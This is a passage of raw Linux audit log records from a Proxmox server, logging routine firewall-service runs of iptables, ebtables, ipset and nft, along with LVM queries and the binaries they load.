nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965287442,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965287.442:64975): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966095863,"@rawstring":"node=pve type=PATH msg=audit(1781966095.863:68419): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965287442,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965287.442:64974): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966095859,"@rawstring":"node=pve type=PATH msg=audit(1781966095.859:68418): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965287442,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965287.442:64973): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966095859,"@rawstring":"node=pve type=PATH msg=audit(1781966095.859:68418): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965287435,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965287.435:64972): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966095855,"@rawstring":"node=pve type=PATH msg=audit(1781966095.855:68417): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965287435,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965287.435:64971): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966095855,"@rawstring":"node=pve type=PATH msg=audit(1781966095.855:68417): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965287435,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965287.435:64970): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966095854,"@rawstring":"node=pve type=PATH msg=audit(1781966095.854:68416): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285444,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965285.444:64969): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966095854,"@rawstring":"node=pve type=PATH msg=audit(1781966095.854:68416): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285441,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965285.441:64968): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966095854,"@rawstring":"node=pve type=PATH msg=audit(1781966095.854:68415): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285439,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965285.439:64967): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966095850,"@rawstring":"node=pve type=PATH msg=audit(1781966095.850:68414): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285439,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965285.439:64966): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966095850,"@rawstring":"node=pve type=PATH msg=audit(1781966095.850:68414): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285435,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965285.435:64965): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966095850,"@rawstring":"node=pve type=PATH msg=audit(1781966095.850:68414): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285429,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965285.429:64964): proctitle=\"ip6tables-save\""} {"@timestamp":1781966095843,"@rawstring":"node=pve type=PATH msg=audit(1781966095.843:68413): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285421,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965285.421:64963): proctitle=\"iptables-save\""} {"@timestamp":1781966095843,"@rawstring":"node=pve type=PATH msg=audit(1781966095.843:68413): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285413,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965285.413:64962): proctitle=\"ip6tables-save\""} {"@timestamp":1781966095836,"@rawstring":"node=pve type=PATH msg=audit(1781966095.836:68412): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285407,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965285.407:64961): proctitle=\"iptables-save\""} {"@timestamp":1781966095836,"@rawstring":"node=pve type=PATH msg=audit(1781966095.836:68412): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285405,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965285.405:64960): proctitle=\"ebtables-restore\""} {"@timestamp":1781966095829,"@rawstring":"node=pve type=PATH msg=audit(1781966095.829:68411): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285401,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965285.401:64959): proctitle=\"ebtables-restore\""} {"@timestamp":1781966095829,"@rawstring":"node=pve type=PATH msg=audit(1781966095.829:68411): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285397,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965285.397:64958): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966095822,"@rawstring":"node=pve type=PATH msg=audit(1781966095.822:68410): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285391,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965285.391:64957): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966095822,"@rawstring":"node=pve type=PATH msg=audit(1781966095.822:68410): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285386,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965285.386:64956): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966095813,"@rawstring":"node=pve type=PATH msg=audit(1781966095.813:68409): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285378,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965285.378:64955): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966095813,"@rawstring":"node=pve type=PATH msg=audit(1781966095.813:68409): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285373,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965285.373:64954): proctitle=697073657400726573746F7265"} {"@timestamp":1781966095373,"@rawstring":"node=pve type=PATH msg=audit(1781966095.373:68408): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285366,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965285.366:64953): proctitle=\"ip6tables-save\""} {"@timestamp":1781966095373,"@rawstring":"node=pve type=PATH msg=audit(1781966095.373:68408): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285360,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965285.360:64952): proctitle=\"iptables-save\""} {"@timestamp":1781966095373,"@rawstring":"node=pve type=PATH msg=audit(1781966095.373:68407): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285356,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965285.356:64951): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966095373,"@rawstring":"node=pve type=PATH msg=audit(1781966095.373:68406): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285352,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965285.352:64950): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966095365,"@rawstring":"node=pve type=PATH msg=audit(1781966095.365:68405): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285352,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965285.352:64949): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966095365,"@rawstring":"node=pve type=PATH msg=audit(1781966095.365:68405): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285352,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965285.352:64948): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966095365,"@rawstring":"node=pve type=PATH msg=audit(1781966095.365:68404): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285348,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965285.348:64947): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966095365,"@rawstring":"node=pve type=PATH msg=audit(1781966095.365:68403): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285340,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965285.340:64946): proctitle=\"ip6tables-save\""} {"@timestamp":1781966094697,"@rawstring":"node=pve type=PATH msg=audit(1781966094.697:68402): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285333,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965285.333:64945): proctitle=\"iptables-save\""} {"@timestamp":1781966094697,"@rawstring":"node=pve type=PATH msg=audit(1781966094.697:68402): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285328,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965285.328:64944): proctitle=69707365740073617665"} {"@timestamp":1781966094666,"@rawstring":"node=pve type=PATH msg=audit(1781966094.666:68401): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285320,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965285.320:64943): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966094666,"@rawstring":"node=pve type=PATH msg=audit(1781966094.666:68401): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965285312,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965285.312:64942): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966090351,"@rawstring":"node=pve type=PATH msg=audit(1781966090.351:68400): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965284612,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965284.612:64941): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781966090351,"@rawstring":"node=pve type=PATH msg=audit(1781966090.351:68400): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965284585,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965284.585:64940): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781966090351,"@rawstring":"node=pve type=PATH msg=audit(1781966090.351:68399): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965282426,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965282.426:64939): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966090351,"@rawstring":"node=pve type=PATH msg=audit(1781966090.351:68398): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965282426,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965282.426:64938): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966090339,"@rawstring":"node=pve type=PATH msg=audit(1781966090.339:68397): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965282426,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965282.426:64937): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966090339,"@rawstring":"node=pve type=PATH msg=audit(1781966090.339:68397): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965282421,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965282.421:64936): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966090339,"@rawstring":"node=pve type=PATH msg=audit(1781966090.339:68396): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965282421,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965282.421:64935): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966090339,"@rawstring":"node=pve type=PATH msg=audit(1781966090.339:68395): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965282421,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965282.421:64934): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966085800,"@rawstring":"node=pve type=PATH msg=audit(1781966085.800:68394): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965277412,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965277.412:64933): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966085800,"@rawstring":"node=pve type=PATH msg=audit(1781966085.800:68394): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965277412,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965277.412:64932): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966085797,"@rawstring":"node=pve type=PATH msg=audit(1781966085.797:68393): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965277411,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965277.411:64931): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966085797,"@rawstring":"node=pve type=PATH msg=audit(1781966085.797:68393): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965277404,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965277.404:64930): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966085795,"@rawstring":"node=pve type=PATH msg=audit(1781966085.795:68392): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965277404,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965277.404:64929): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966085795,"@rawstring":"node=pve type=PATH msg=audit(1781966085.795:68392): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965277404,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965277.404:64928): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966085795,"@rawstring":"node=pve type=PATH msg=audit(1781966085.795:68391): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275300,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965275.300:64927): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966085790,"@rawstring":"node=pve type=PATH msg=audit(1781966085.790:68390): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275296,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965275.296:64926): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966085790,"@rawstring":"node=pve type=PATH msg=audit(1781966085.790:68390): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275294,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965275.294:64925): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966085790,"@rawstring":"node=pve type=PATH msg=audit(1781966085.790:68390): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275294,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965275.294:64924): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966085783,"@rawstring":"node=pve type=PATH msg=audit(1781966085.783:68389): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275290,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965275.290:64923): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966085783,"@rawstring":"node=pve type=PATH msg=audit(1781966085.783:68389): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275284,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965275.284:64922): proctitle=\"ip6tables-save\""} {"@timestamp":1781966085776,"@rawstring":"node=pve type=PATH msg=audit(1781966085.776:68388): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275274,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965275.274:64921): proctitle=\"iptables-save\""} {"@timestamp":1781966085776,"@rawstring":"node=pve type=PATH msg=audit(1781966085.776:68388): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275266,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965275.266:64920): proctitle=\"ip6tables-save\""} {"@timestamp":1781966085768,"@rawstring":"node=pve type=PATH msg=audit(1781966085.768:68387): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275258,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965275.258:64919): proctitle=\"iptables-save\""} {"@timestamp":1781966085768,"@rawstring":"node=pve type=PATH msg=audit(1781966085.768:68387): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275254,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965275.254:64918): proctitle=\"ebtables-restore\""} {"@timestamp":1781966085760,"@rawstring":"node=pve type=PATH msg=audit(1781966085.760:68386): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275252,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965275.252:64917): proctitle=\"ebtables-restore\""} {"@timestamp":1781966085760,"@rawstring":"node=pve type=PATH msg=audit(1781966085.760:68386): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275246,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965275.246:64916): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966085753,"@rawstring":"node=pve type=PATH msg=audit(1781966085.753:68384): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275239,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965275.239:64915): 